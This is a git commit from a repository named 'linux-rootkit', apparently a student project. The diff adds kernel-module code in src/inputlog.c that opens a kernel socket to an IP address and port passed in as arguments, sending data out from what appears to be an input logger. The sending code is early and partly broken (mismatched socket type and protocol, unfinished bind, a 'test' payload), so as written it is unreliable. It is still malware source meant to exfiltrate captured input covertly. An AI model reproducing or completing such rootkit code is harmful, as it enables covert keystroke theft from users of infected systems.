linux-rootkit

commit 27aa5e93b1b8025e7b30d2e431f4d096ea595792
parent 9c86f5862f27ce716fa454cb54e1347fdacb0248
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 12 Dec 2020 03:00:40 +0100

adds initial sending code

Diffstat:
M
src/inputlog.c
 | 
60
+++++++++++++++++++++++++++++++++++++++++++++++++++++-------

1 file changed, 53 insertions(+), 7 deletions(-)
diff --git a/src/inputlog.c b/src/inputlog.c
@@ -1,10 +1,13 @@
 #include <linux/kernel.h>
+#include <linux/socket.h>
+#include <linux/net.h>
+#include <linux/slab.h>
 #include <linux/inet.h>
 
 #include "common.h"
 #include "inputlog.h"
 
-struct socket sock;
+struct socket *sock;
 
 void
 log_input(const char *ip, const char *port)
@@ -14,18 +17,61 @@ log_input(const char *ip, const char *port)
     unsigned long ip_ul;
     unsigned long port_ul;
 
-    kstrtoul(port, 10, &port_ul);
-    in4_pton(ip, -1, ip_quad, -1, NULL);
+    struct sockaddr addr;
+	struct msghdr msg;
+	struct iovec iov;
+	int size;
+	mm_segment_t prev_fs;
 
-    ip_ul = 0;
-    for (i = 0; i < 4; ++i)
-        ip_ul += (ip_quad[i] & 0xFF) << (8 * i);
+    if (sock)
+        return;
 
-    DEBUG_INFO("ip_s = %s, port_s = %s, ip: %lu, port: %lu\n", ip, port, ip_ul, port_ul);
+    if (sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_UDP, &sock))
+        return;
+
+    addr.sa_family = AF_INET;
+
+    { // parse ip address and port from passed in strings
+        kstrtoul(port, 10, &port_ul);
+        in4_pton(ip, -1, ip_quad, -1, NULL);
+
+        ip_ul = 0;
+        for (i = 0; i < 4; ++i)
+            ip_ul += (ip_quad[i] & 0xFF) << (8 * i);
+    }
+
+    if (kernel_bind(sock, &addr, 1 /* TODO */)) {
+        sock_release(sock);
+        sock = NULL;
+        return;
+    }
+
+    char *buf = "test";
+    int len = strlen(buf);
+
+	iov.iov_base = buf;
+	iov.iov_len = len;
+
+	msg.msg_control = NULL;
+	msg.msg_controllen = 0;
+	msg.msg_flags = 0;
+	msg.msg_iov = &iov;
+	msg.msg_iovlen = 1;
+	msg.msg_name = 0;
+	msg.msg_namelen = 0;
+
+	prev_fs = get_fs();
+	set_fs(KERNEL_DS);
+	sock_sendmsg(sock, &msg, len);
+	set_fs(prev_fs);
 }
 
 void
 unlog_input(void)
 {
+    if (!sock)
+        return;
 
+    sock_release(sock);
+    sock = NULL;
 }